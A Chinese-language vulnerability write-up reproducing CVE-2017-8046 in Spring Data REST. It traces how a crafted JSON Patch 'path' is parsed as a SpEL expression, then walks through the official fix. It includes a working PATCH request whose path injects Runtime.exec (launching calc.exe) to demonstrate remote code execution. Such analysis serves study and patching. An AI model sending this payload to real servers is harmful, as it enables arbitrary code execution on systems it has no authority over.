spring-data-rest-rec 复现分析 cve-2017-8046
漏洞信息
pivotal发布的漏洞信息如下:
Malicious PATCH requests submitted to servers using Spring Data REST backed HTTP resources can use specially crafted JSON data to run arbitrary Java code.
简而言之,就是Spring Data REST
对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE。
环境搭建
关于Spring Data REST
可以参考Guides,但是本人在按照这个教程搭建出现了问题,所以建议大家看看这个引导,但是漏洞环境的搭建没有必要参考这个。
在Guides提供了最终的项目代码下载,可以直接从Github上面下载。
https://github.com/spring-guides/gs-accessing-data-rest.git
,使用其中的complete
项目。
修改其中的spring-boot-starter-parent
为存在漏洞的版本,本文中采用的是1.5.6的版本:
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>1.5.6.RELEASE</version>
</parent>
通过maven
更新完依赖之后,查看与漏洞有关的几个组件的版本:
使用IDEA运行整个项目,访问localhost:8080
,如果没有报错出现以下的界面则说明搭建成功。
漏洞复现
PATCH
在进行漏洞复现之前,先介绍下PATCH相关的用法。
对于JSON Patch请求方法IETF制定了标准RFC6902。JSON Patch方法提交的数据必须包含一个path成员(path值中必须含有/
),用于定位数据,同时还必须包含op成员,可选值如下:
- add,添加数据
- remove,删除数据
- replace,修改数据
- move,移动数据
- copy,拷贝数据
- test,测试给定数据与指定位置数据是否相等
在使用PATCH方法时,有两点需要注意(关于这两点,后面通过源码分析会进行说明):
- 必须将Content-Type指定为
application/json-patch+json
。 - 请求数据必须是json数组。
漏洞复现
本漏洞的分析方法采用的是通过执行POC的方式来追踪数据流来分析漏洞。
通过POST方法添加一个用户
查看所有用户信息,系统中已经多存在了1个用户(people1)
通过PATCH
方法更新people1的lastName
信息。根据前面对PATCH
方法的介绍,我们需要发送如下的payload:
这一步可以不进行操作,只是为了演示PATCH的用法
发送payload,发起攻击。
PATCH /people/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type:application/json-patch+json
Content-Length: 169[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName", "value": "vulhub" }]
顺利弹出计算器。
漏洞分析
由于整个程序对于Payload的处理堆栈较长,本文直接从Spring Data REST
对JSON的数据处理开始进行分析。入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()
中。
public <T> T apply(IncomingRequest request, T target) throws Exception {Assert.notNull(request, "Request must not be null!");Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");Assert.notNull(target, "Target must not be null!");if (request.isJsonPatchRequest()) {return applyPatch(request.getBody(), target);} else {return applyMergePatch(request.getBody(), target);}
}
通过request.isJsonPatchRequest
确定是PATCH请求之后,调用applyPatch(request.getBody(), target);
。其中isJsonPatchRequest
的判断方法是:
public boolean isJsonPatchRequest() {// public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
}
所以这就要求我们使用PATCH
方法时,contentType
要为application/json-patch+json
。(对应于PATCH方法的第一个注意点)
继续跟踪进入到applyPatch()
方法中:
<T> T applyPatch(InputStream source, T target) throws Exception {return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
继续跟踪进入到getPatchOperations()
中:
private Patch getPatchOperations(InputStream source) {try {return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));} catch (Exception o_O) {throw new HttpMessageNotReadableException(String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);}
}
利用mapper
初始化JsonPatchPatchConverter()
对象之后调用convert()
方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()
方法:
convert()
方法返回Patch()
对象,其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch
中,
public Patch(List<PatchOperation> operations) {this.operations = operations;
}
通过上一步地分析,ops
是一个List<PatchOperation>
对象,每一个PatchOperation
对象中包含了op
、path
、value
三个内容。进入到PatchOperation
分析其赋值情况。
public PatchOperation(String op, String path, Object value) {this.op = op;this.path = path;this.value = value;this.spelExpression = pathToExpression(path);
}
进入到pathToExpression()
中
public static Expression pathToExpression(String path) {return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
}
可以看到这是一个SPEL
表达式解析操作,但是在解析之前调用了pathToSpEL()
。进入到pathToSpEL()
中。
private static String pathToSpEL(String path) {return pathNodesToSpEL(path.split("\\/")); // 使用/分割路径
}private static String pathNodesToSpEL(String[] pathNodes) {StringBuilder spelBuilder = new StringBuilder();for (int i = 0; i < pathNodes.length; i++) {String pathNode = pathNodes[i];if (pathNode.length() == 0) {continue;}if (APPEND_CHARACTERS.contains(pathNode)) {if (spelBuilder.length() > 0) {spelBuilder.append("."); // 使用.重新组合路径}spelBuilder.append("$[true]");continue;}try {int index = Integer.parseInt(pathNode);spelBuilder.append('[').append(index).append(']');} catch (NumberFormatException e) {if (spelBuilder.length() > 0) {spelBuilder.append('.');}spelBuilder.append(pathNode);}}String spel = spelBuilder.toString();if (spel.length() == 0) {spel = "#this";}return spel;
}
重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()
中,
<T> T applyPatch(InputStream source, T target) throws Exception {return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
}
目前已经执行getPatchOperations(source)
得到的是一个Patch
对象的实例,之后执行apply()
方法。进入到org.springframework.data.rest.webmvc.json.patch.Patch:apply()
,
public <T> T apply(T in, Class<T> type) throws PatchException {for (PatchOperation operation : operations) {operation.perform(in, type);}return in;
}
实际上PatchOperation
是一个抽象类,实际上应该调用其实现类的perform()
方法。通过动态调试分析,此时的operation
实际是ReplaceOperation
类的实例(这也和我们传入的replace
操作是对应的)。进入到ReplaceOperation:perform()
中,
<T> void perform(Object target, Class<T> type) {setValueOnTarget(target, evaluateValueFromTarget(target, type));
}protected void setValueOnTarget(Object target, Object value) {spelExpression.setValue(target, value);
}
在setValueOnTarget()
中会调用spelExpression
对spel表示式进行解析,分析此时的参数情况:
最后成功地弹出计算器。
漏洞修复
根据官方发布的漏洞修复commit
可以看到主要是在PatchOperation.java:evaluateValueFromTarget()
中增减了对路径的验证方法verifyPath()
,其中的关键代码是:
String pathSource = Arrays.stream(path.split("/"))//.filter(it -> !it.matches("\\d")) // no digits.filter(it -> !it.equals("-")) // no "last element"s.filter(it -> !it.isEmpty()) //.collect(Collectors.joining("."));
为什么实现了evaluateValueFromTarget()
这个方法就能够阻止RCE的攻击呢?之前在漏洞分析中已经说明了,最终执行的是ReplaceOperation:perform()
,
<T> void perform(Object target, Class<T> type) {setValueOnTarget(target, evaluateValueFromTarget(target, type));
}
在执行setValueOnTarget()
之前先会调用evaluateValueFromTarget()
,而这个函数就是父类的函数即PatchOperationevaluateValueFromTarget()
,所以通过更改PatchOperation:evaluateValueFromTarget()
方法,对PATH路径进行验证,确保PATH的安全性,就能够防止通过SPEL
表示执行RCE。
总结
最终还是因为SPEL表大会造成的RCE。最终吐槽一下,Java相关的环境搭建起来真的是麻烦(这也导致分析Java漏洞时需要专门用一章来说明漏洞环境的搭建),函数的追踪也很绕。
靶机地址:
https://vulhub.org/#/environments/spring/CVE-2017-8046/
spring-data-rest-rec 复现分析 cve-2017-8046相关推荐
- Springboot整合Spring Data JPA
1 Spring Data JPA 1.Spring Data JPA的概念 在介绍Spring Data JPA的时候,我们首先认识下Hibernate.Hibernate是数据访问解决技术的绝对霸 ...
- Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现
前言 2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring Expression Language).对于开发者而言,引入新的工具显然是令人兴奋的,但是对于运维 ...
- 【web安全】Spring Data Commons 1.13.10 SpEL漏洞分析
一.简介 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架.Spring Data Co ...
- 漏洞复现之CVE-2018-1273 Spring Data Commons 远程命令执行
漏洞背景 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架.Spring Data Co ...
- 漏洞复现 | CVE-2017-8046 Spring Data Rest 远程命令执行
作者: 墨阳 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 前言 Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求 ...
- 漏洞复现 | CVE-2018-1273 Spring Data Commons 远程命令执行
作者: 墨阳 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 前言 Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data ...
- Spring Data JPA 从入门到精通~@PreUpdate异常场景分析
1.执行save()后,再次save(),@PreUpdate不再触发 2.@Transient字段的变更,不会触发@PreUpdate方法 3.@PreUpdate 不适用加密/解密场景 1.执行s ...
- 学习Spring Data JPA
简介 Spring Data 是spring的一个子项目,在官网上是这样解释的: Spring Data 是为数据访问提供一种熟悉且一致的基于Spring的编程模型,同时仍然保留底层数据存储的特殊 ...
- SpringBoot22-spingboot数据访问-Spring Data JPA
一:点睛Spring Data JPA 1,什么事Spring Data JPA 我们知道Hibernate是数据访问解决技术的绝对霸主,使用O/R映射技术实现数据访问,o/r映射即将领域模型类和数据 ...
最新文章
- IntelliJ IDEA 、 Android Stadio 不显示Version Contro窗口
- DL之CNN:利用卷积神经网络算法(2→2,基于Keras的API-Functional)利用MNIST(手写数字图片识别)数据集实现多分类预测
- 2021-10-11 二叉树,二叉搜索树及其相关23个操作 C++实现笔记(复习用,含C指针复习)
- 计算机网络封装过程图,网络传输过程是怎样的?网络数据传输的过程图解
- 按键精灵手机版去除广告XPosed模块插件
- SQL卸载重装实例名重复问题
- Linux 使用pid文件结束nginx
- 【面经】各大AI研究院共35场NLP算法岗面经奉上
- 在MVC中要实现Ajax
- CSDN目前有多少注册用户数?
- TI 16位 3.3V--5V 电平转换芯片 SN74ALVC164245
- gl常用库函数,glu常用库函数 简介
- MATLAB经纬度转化
- 红米k30s 至尊纪念版本看闪存型号 硬盘型号
- 清理垃圾文件属于计算机安全维护吗,垃圾文件清理,垃圾文件清理器
- 计算机毕业设计JAVA软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw
- 【DBC专题】-2-CAN Signal信号的Multiplexor多路复用在DBC中实现
- iOS 开发者账号权限分配
- 主成分分析(principle component analysis)介绍
- 【RAII 思想】RAII 基本概念(一种思想)